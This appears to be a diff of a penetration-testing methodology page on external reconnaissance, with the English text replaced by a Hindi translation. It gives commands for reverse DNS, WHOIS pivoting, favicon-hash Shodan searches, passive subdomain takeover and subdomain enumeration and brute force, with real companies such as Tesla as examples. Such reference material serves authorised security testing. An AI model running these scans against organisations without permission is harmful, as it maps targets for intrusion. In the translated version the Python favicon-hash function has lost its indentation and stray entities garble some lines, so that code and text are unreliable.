ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) +### **रिवर्स DNS** +जैसा कि आपने डोमेन के सभी IP रेंज पाए हैं, आप उन **IPs पर अधिक डोमेन खोजने के लिए** **रिवर्स DNS लुकअप** करने की कोशिश कर सकते हैं। पीड़ित के कुछ DNS सर्वर या कुछ प्रसिद्ध DNS सर्वर (1.1.1.1, 8.8.8.8) का उपयोग करने की कोशिश करें। ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` - -For this to work, the administrator has to enable manually the PTR.\ -You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) +इसका काम करने के लिए, व्यवस्थापक को मैन्युअल रूप से PTR सक्षम करना होगा।\ +आप इस जानकारी के लिए एक ऑनलाइन टूल भी उपयोग कर सकते हैं: [http://ptrarchive.com/](http://ptrarchive.com) ### **Reverse Whois (loop)** -Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ -You can use online tools like: +एक **whois** में आप बहुत सारी दिलचस्प **जानकारी** जैसे **संस्थान का नाम**, **पता**, **ईमेल**, फोन नंबर आदि पा सकते हैं... लेकिन जो और भी दिलचस्प है वह यह है कि आप **कंपनी से संबंधित अधिक संपत्तियाँ** पा सकते हैं यदि आप **इनमें से किसी भी क्षेत्र द्वारा रिवर्स Whois लुकअप करते हैं** (उदाहरण के लिए अन्य Whois रजिस्ट्रियों जहां वही ईमेल दिखाई देता है)।\ +आप ऑनलाइन टूल का उपयोग कर सकते हैं जैसे: -- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free** -- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free** -- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free** -- [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API. -- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free -- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches) -- [https://www.domainiq.com/](https://www.domainiq.com) - Not Free +- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **मुफ्त** +- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **मुफ्त** +- [https://www.reversewhois.io/](https://www.reversewhois.io) - **मुफ्त** +- [https://www.whoxy.com/](https://www.whoxy.com) - **मुफ्त** वेब, मुफ्त API नहीं। +- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - मुफ्त नहीं +- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - मुफ्त नहीं (केवल **100 मुफ्त** खोजें) +- [https://www.domainiq.com/](https://www.domainiq.com) - मुफ्त नहीं -You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ -You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` +आप इस कार्य को [**DomLink** ](https://github.com/vysecurity/DomLink) का उपयोग करके स्वचालित कर सकते हैं (एक whoxy API कुंजी की आवश्यकता होती है)।\ +आप [amass](https://github.com/OWASP/Amass) के साथ कुछ स्वचालित रिवर्स Whois खोज भी कर सकते हैं: `amass intel -d tesla.com -whois` -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**ध्यान दें कि आप इस तकनीक का उपयोग हर बार एक नया डोमेन खोजने पर अधिक डोमेन नाम खोजने के लिए कर सकते हैं।** ### **Trackers** -If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ -For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. +यदि आप 2 विभिन्न पृष्ठों में **एक ही ट्रैकर का एक ही ID** पाते हैं, तो आप मान सकते हैं कि **दोनों पृष्ठ** **एक ही टीम द्वारा प्रबंधित** हैं।\ +उदाहरण के लिए, यदि आप कई पृष्ठों पर वही **Google Analytics ID** या वही **Adsense ID** देखते हैं। -There are some pages and tools that let you search by these trackers and more: +कुछ पृष्ठ और उपकरण हैं जो आपको इन ट्रैकर्स और अधिक द्वारा खोजने की अनुमति देते हैं: - [**Udon**](https://github.com/dhn/udon) - [**BuiltWith**](https://builtwith.com) @@ -125,113 +114,97 @@ There are some pages and tools that let you search by these trackers and more: ### **Favicon** -Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: - +क्या आप जानते हैं कि हम एक ही फेविकॉन आइकन हैश की तलाश करके अपने लक्ष्य से संबंधित डोमेन और उप डोमेन पा सकते हैं? यह ठीक वही है जो [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) टूल [@m4ll0k2](https://twitter.com/m4ll0k2) द्वारा बनाया गया है। इसका उपयोग कैसे करें: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` +![favihash - समान favicon आइकन हैश वाले डोमेन खोजें](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) - -Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target. - -Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**: +सरल शब्दों में, favihash हमें उन डोमेनों को खोजने की अनुमति देगा जिनका हमारे लक्ष्य के समान favicon आइकन हैश है। +इसके अलावा, आप favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं जैसा कि [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाया गया है। इसका मतलब है कि यदि आप जानते हैं कि **एक कमजोर वेब तकनीक के favicon का हैश** क्या है, तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को **खोज सकते हैं**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` - -This is how you can **calculate the favicon hash** of a web: - +यहाँ बताया गया है कि आप एक वेब का **फेविकॉन हैश** कैसे **गणना** कर सकते हैं: ```python import mmh3 import requests import codecs def fav_hash(url): - response = requests.get(url) - favicon = codecs.encode(response.content,"base64") - fhash = mmh3.hash(favicon) - print(f"{url} : {fhash}") - return fhash +response = requests.get(url) +favicon = codecs.encode(response.content,"base64") +fhash = mmh3.hash(favicon) +print(f"{url} : {fhash}") +return fhash ``` +### **कॉपीराइट / यूनिक स्ट्रिंग** -### **Copyright / Uniq string** +वेब पृष्ठों के अंदर **स्ट्रिंग्स की खोज करें जो एक ही संगठन में विभिन्न वेब्स के बीच साझा की जा सकती हैं**। **कॉपीराइट स्ट्रिंग** एक अच्छा उदाहरण हो सकता है। फिर उस स्ट्रिंग की **गूगल**, अन्य **ब्राउज़रों** या यहां तक कि **शोडन** में खोज करें: `shodan search http.html:"Copyright string"` -Search inside the web pages **strings that could be shared across different webs in the same organisation**. The **copyright string** could be a good example. Then search for that string in **google**, in other **browsers** or even in **shodan**: `shodan search http.html:"Copyright string"` - -### **CRT Time** - -It's common to have a cron job such as +### **CRT समय** +एक क्रॉन जॉब होना सामान्य है जैसे ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` +सर्वर पर सभी डोमेन प्रमाणपत्रों को नवीनीकरण करने के लिए। इसका मतलब है कि भले ही इसके लिए उपयोग किया जाने वाला CA वैधता समय में उत्पन्न होने का समय सेट न करे, यह संभव है कि **प्रमाणपत्र पारदर्शिता लॉग में उसी कंपनी के संबंधित डोमेन खोजें**।\ +इस [**लेख को अधिक जानकारी के लिए देखें**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)। -to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\ -Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). +### मेल DMARC जानकारी -### Mail DMARC information +आप [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) जैसी वेबसाइट या [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) जैसे टूल का उपयोग करके **डोमेन और उपडोमेन जो समान DMARC जानकारी साझा करते हैं** खोज सकते हैं। -You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**. +### **पैसिव टेकओवर** -### **Passive Takeover** +स्पष्ट रूप से यह सामान्य है कि लोग उपडोमेन को क्लाउड प्रदाताओं के IPs को असाइन करते हैं और किसी बिंदु पर **उस IP पते को खो देते हैं लेकिन DNS रिकॉर्ड को हटाना भूल जाते हैं**। इसलिए, बस **क्लाउड में एक VM उत्पन्न करना** (जैसे Digital Ocean) आप वास्तव में **कुछ उपडोमेन(s) पर कब्जा कर रहे होंगे**। -Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**. +[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक स्टोर को समझाती है और एक स्क्रिप्ट का प्रस्ताव करती है जो **DigitalOcean में एक VM उत्पन्न करती है**, **नए मशीन का** **IPv4** **प्राप्त करती है**, और **Virustotal में उपडोमेन रिकॉर्ड** की खोज करती है जो इसे इंगित करते हैं। -[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it. +### **अन्य तरीके** -### **Other ways** - -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**ध्यान दें कि आप इस तकनीक का उपयोग हर बार एक नया डोमेन खोजने के लिए अधिक डोमेन नाम खोजने के लिए कर सकते हैं।** **Shodan** -As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate. +जैसा कि आप पहले से ही जानते हैं कि IP स्पेस का स्वामित्व करने वाले संगठन का नाम। आप उस डेटा को शोडन में खोज सकते हैं: `org:"Tesla, Inc."` TLS प्रमाणपत्र में नए अप्रत्याशित डोमेन के लिए पाए गए होस्ट की जांच करें। -You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +आप मुख्य वेब पृष्ठ का **TLS प्रमाणपत्र** एक्सेस कर सकते हैं, **संगठन का नाम** प्राप्त कर सकते हैं और फिर उस नाम को **shodan** द्वारा ज्ञात सभी वेब पृष्ठों के **TLS प्रमाणपत्रों** के अंदर खोज सकते हैं जिसमें फ़िल्टर है: `ssl:"Tesla Motors"` या [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) जैसे टूल का उपयोग करें। **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. +[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) एक टूल है जो **मुख्य डोमेन से संबंधित डोमेन** और उनके **उपडोमेन** की खोज करता है, काफी अद्भुत। -### **Looking for vulnerabilities** +### **कमजोरियों की खोज** -Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. +कुछ [डोमेन टेकओवर](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) के लिए जांचें। शायद कोई कंपनी **किसी डोमेन का उपयोग कर रही है** लेकिन उन्होंने **स्वामित्व खो दिया है**। बस इसे रजिस्टर करें (यदि यह सस्ता है) और कंपनी को सूचित करें। -If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -&#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से नहीं है**, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। यह निर्भर करता है कि कौन से सेवाएँ चल रही हैं, आप **इस पुस्तक में कुछ तरकीबें "हमले" करने के लिए** खोज सकते हैं।\ +&#xNAN;_Note कि कभी-कभी डोमेन एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +## उपडोमेन -{% embed url="https://go.intigriti.com/hacktricks" %} +> हम सभी कंपनियों को दायरे में जानते हैं, प्रत्येक कंपनी की सभी संपत्तियों और कंपनियों से संबंधित सभी डोमेन को जानते हैं। -## Subdomains - -> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. - -It's time to find all the possible subdomains of each found domain. +यह समय है कि प्रत्येक पाए गए डोमेन के सभी संभावित उपडोमेन खोजें। > [!TIP] -> Note that some of the tools and techniques to find domains can also help to find subdomains +> ध्यान दें कि कुछ उपकरण और तकनीकें जो डोमेन खोजने के लिए हैं, उपडोमेन खोजने में भी मदद कर सकती हैं। ### **DNS** -Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). - +आइए **DNS** रिकॉर्ड से **उपडोमेन** प्राप्त करने की कोशिश करें। हमें **ज़ोन ट्रांसफर** के लिए भी प्रयास करना चाहिए (यदि कमजोर है, तो आपको इसकी रिपोर्ट करनी चाहिए)। ```bash dnsrecon -a -d tesla.com ``` - ### **OSINT** -The fastest way to obtain a lot of subdomains is search in external sources. The most used **tools** are the following ones (for better results configure the API keys): +बहुत सारे सबडोमेन प्राप्त करने का सबसे तेज़ तरीका बाहरी स्रोतों में खोज करना है। सबसे अधिक उपयोग किए जाने वाले **tools** निम्नलिखित हैं (बेहतर परिणामों के लिए API कुंजी कॉन्फ़िगर करें): - [**BBOT**](https://github.com/blacklanternsecurity/bbot) - ```bash # subdomains bbot -t tesla.com -f subdomain-enum @@ -242,108 +215,80 @@ bbot -t tesla.com -f subdomain-enum -rf passive # subdomains + port scan + web screenshots bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o . ``` - - [**Amass**](https://github.com/OWASP/Amass) - ```bash amass enum [-active] [-ip] -d tesla.com amass enum -d tesla.com | grep tesla.com # To just list subdomains ``` - - [**subfinder**](https://github.com/projectdiscovery/subfinder) - ```bash # Subfinder, use -silent to only have subdomains in the output ./subfinder-linux-amd64 -d tesla.com [-silent] ``` - - [**findomain**](https://github.com/Edu4rdSHL/findomain/) - ```bash # findomain, use -silent to only have subdomains in the output ./findomain-linux -t tesla.com [--quiet] ``` - - [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us) - ```bash python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run ``` - - [**assetfinder**](https://github.com/tomnomnom/assetfinder) - ```bash assetfinder --subs-only ``` - - [**Sudomy**](https://github.com/Screetsec/Sudomy) - ```bash # It requires that you create a sudomy.api file with API keys sudomy -d tesla.com ``` - - [**vita**](https://github.com/junnlikestea/vita) - ``` vita -d tesla.com ``` - - [**theHarvester**](https://github.com/laramies/theHarvester) - ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` +अन्य **दिलचस्प उपकरण/APIs** हैं जो सीधे उपडोमेन खोजने में विशेषज्ञ नहीं होने के बावजूद उपडोमेन खोजने में उपयोगी हो सकते हैं, जैसे: -There are **other interesting tools/APIs** that even if not directly specialised in finding subdomains could be useful to find subdomains, like: - -- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains - +- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io) का उपयोग करके उपडोमेन प्राप्त करता है ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` - -- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com) - +- [**JLDC मुफ्त API**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` - -- [**RapidDNS**](https://rapiddns.io) free API - +- [**RapidDNS**](https://rapiddns.io) मुफ्त API ```bash # Get Domains from rapiddns free API rapiddns(){ - curl -s "https://rapiddns.io/subdomain/$1?full=1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://rapiddns.io/subdomain/$1?full=1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } rapiddns tesla.com ``` - - [**https://crt.sh/**](https://crt.sh) - ```bash # Get Domains from crt free API crt(){ - curl -s "https://crt.sh/?q=%25.$1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://crt.sh/?q=%25.$1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } crt tesla.com ``` - -- [**gau**](https://github.com/lc/gau)**:** fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. - +- [**gau**](https://github.com/lc/gau)**:** किसी दिए गए डोमेन के लिए AlienVault के Open Threat Exchange, Wayback Machine, और Common Crawl से ज्ञात URLs को लाता है। ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` - -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): They scrap the web looking for JS files and extract subdomains from there. - +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): वे वेब को स्क्रैप करते हैं, JS फ़ाइलों की तलाश करते हैं और वहां से उपडोमेन निकालते हैं। ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -351,42 +296,35 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com # Get only subdomains from subscraper, this already perform recursion over the found results python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f ``` - - [**Shodan**](https://www.shodan.io/) - ```bash # Get info about the domain shodan domain # Get other pages with links to subdomains shodan search "http.html:help.domain.com" ``` - -- [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder) - +- [**Censys उपडोमेन खोजक**](https://github.com/christophetd/censys-subdomain-finder) ```bash export CENSYS_API_ID=... export CENSYS_API_SECRET=... python3 censys-subdomain-finder.py tesla.com ``` - - [**DomainTrail.py**](https://github.com/gatete/DomainTrail) - ```bash python3 DomainTrail.py -d example.com ``` - -- [**securitytrails.com**](https://securitytrails.com/) has a free API to search for subdomains and IP history +- [**securitytrails.com**](https://securitytrails.com/) में उपडोमेन और IP इतिहास के लिए एक मुफ्त API है - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में प्रदान करता है**। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या यहां तक कि इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -You can find a **comparison** of many of these tools here: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +आप यहां इन उपकरणों की **तुलना** पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) -### **DNS Brute force** +### **DNS ब्रूट फोर्स** -Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names. +आइए संभावित उपडोमेन नामों का उपयोग करके DNS सर्वरों को ब्रूट-फोर्स करके नए **उपडोमेन** खोजने की कोशिश करें। -For this action you will need some **common subdomains wordlists like**: +इस क्रिया के लिए आपको कुछ **सामान्य उपडोमेन शब्दसूचियों की आवश्यकता होगी जैसे**: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -394,118 +332,93 @@ For this action you will need some **common subdomains wordlists like**: - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -And also IPs of good DNS resolvers. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. Or you could use: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +और अच्छे DNS रिसोल्वर्स के IPs भी। विश्वसनीय DNS रिसोल्वर्स की एक सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -The most recommended tools for DNS brute-force are: - -- [**massdns**](https://github.com/blechschmidt/massdns): This was the first tool that performed an effective DNS brute-force. It's very fast however it's prone to false positives. +DNS ब्रूट-फोर्स के लिए सबसे अनुशंसित उपकरण हैं: +- [**massdns**](https://github.com/blechschmidt/massdns): यह पहला उपकरण था जिसने प्रभावी DNS ब्रूट-फोर्स किया। यह बहुत तेज है हालांकि यह गलत सकारात्मक के प्रति संवेदनशील है। ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` - -- [**gobuster**](https://github.com/OJ/gobuster): This one I think just uses 1 resolver - +- [**gobuster**](https://github.com/OJ/gobuster): मुझे लगता है कि यह केवल 1 रिसोल्वर का उपयोग करता है ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` - -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is a wrapper around `massdns`, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support. - +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) `massdns` के चारों ओर एक wrapper है, जो go में लिखा गया है, जो आपको सक्रिय bruteforce का उपयोग करके मान्य उपडोमेन की गणना करने की अनुमति देता है, साथ ही वाइल्डकार्ड हैंडलिंग और आसान इनपुट-आउटपुट समर्थन के साथ उपडोमेन को हल करता है। ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` - -- [**puredns**](https://github.com/d3mondev/puredns): It also uses `massdns`. - +- [**puredns**](https://github.com/d3mondev/puredns): यह भी `massdns` का उपयोग करता है। ``` puredns bruteforce all.txt domain.com ``` - -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) uses asyncio to brute force domain names asynchronously. - +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) डोमेन नामों को असिंक्रोनस तरीके से ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है। ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` - ### Second DNS Brute-Force Round -After having found subdomains using open sources and brute-forcing, you could generate alterations of the subdomains found to try to find even more. Several tools are useful for this purpose: - -- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Given the domains and subdomains generate permutations. +खुले स्रोतों और ब्रूट-फोर्सिंग का उपयोग करके उपडोमेन खोजने के बाद, आप पाए गए उपडोमेन के परिवर्तनों को उत्पन्न कर सकते हैं ताकि और भी अधिक खोजने की कोशिश की जा सके। इस उद्देश्य के लिए कई उपकरण उपयोगी हैं: +- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** दिए गए डोमेन और उपडोमेन के लिए permutations उत्पन्न करता है। ```bash cat subdomains.txt | dnsgen - ``` - -- [**goaltdns**](https://github.com/subfinder/goaltdns): Given the domains and subdomains generate permutations. - - You can get goaltdns permutations **wordlist** in [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt). - +- [**goaltdns**](https://github.com/subfinder/goaltdns): डोमेन और सबडोमेन दिए जाने पर संयोजन उत्पन्न करें। +- आप **wordlist** के लिए goaltdns संयोजन [**यहां**](https://github.com/subfinder/goaltdns/blob/master/words.txt) प्राप्त कर सकते हैं। ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` - -- [**gotator**](https://github.com/Josue87/gotator)**:** Given the domains and subdomains generate permutations. If not permutations file is indicated gotator will use its own one. - +- [**gotator**](https://github.com/Josue87/gotator)**:** डोमेन और सबडोमेन दिए जाने पर उत्परिवर्तन उत्पन्न करें। यदि उत्परिवर्तन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा। ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - -- [**altdns**](https://github.com/infosec-au/altdns): Apart from generating subdomains permutations, it can also try to resolve them (but it's better to use the previous commented tools). - - You can get altdns permutations **wordlist** in [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt). - +- [**altdns**](https://github.com/infosec-au/altdns): उपडोमेन संयोजनों को उत्पन्न करने के अलावा, यह उन्हें हल करने की भी कोशिश कर सकता है (लेकिन पहले टिप्पणी किए गए उपकरणों का उपयोग करना बेहतर है)। +- आप [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) altdns संयोजन **शब्दसूची** प्राप्त कर सकते हैं। ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - -- [**dmut**](https://github.com/bp0lr/dmut): Another tool to perform permutations, mutations and alteration of subdomains. This tool will brute force the result (it doesn't support dns wild card). - - You can get dmut permutations wordlist in [**here**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). - +- [**dmut**](https://github.com/bp0lr/dmut): उपडोमेन के संयोजन, उत्परिवर्तन और परिवर्तन करने के लिए एक और उपकरण। यह उपकरण परिणाम को ब्रूट फोर्स करेगा (यह dns वाइल्ड कार्ड का समर्थन नहीं करता)। +- आप dmut संयोजन शब्द सूची [**यहाँ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) प्राप्त कर सकते हैं। ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ - --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt +--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` +- [**alterx**](https://github.com/projectdiscovery/alterx)**:** एक डोमेन के आधार पर यह **संकेतित पैटर्न के आधार पर नए संभावित उपडोमेन नाम उत्पन्न करता है** ताकि अधिक उपडोमेन खोजने की कोशिश की जा सके। -- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Based on a domain it 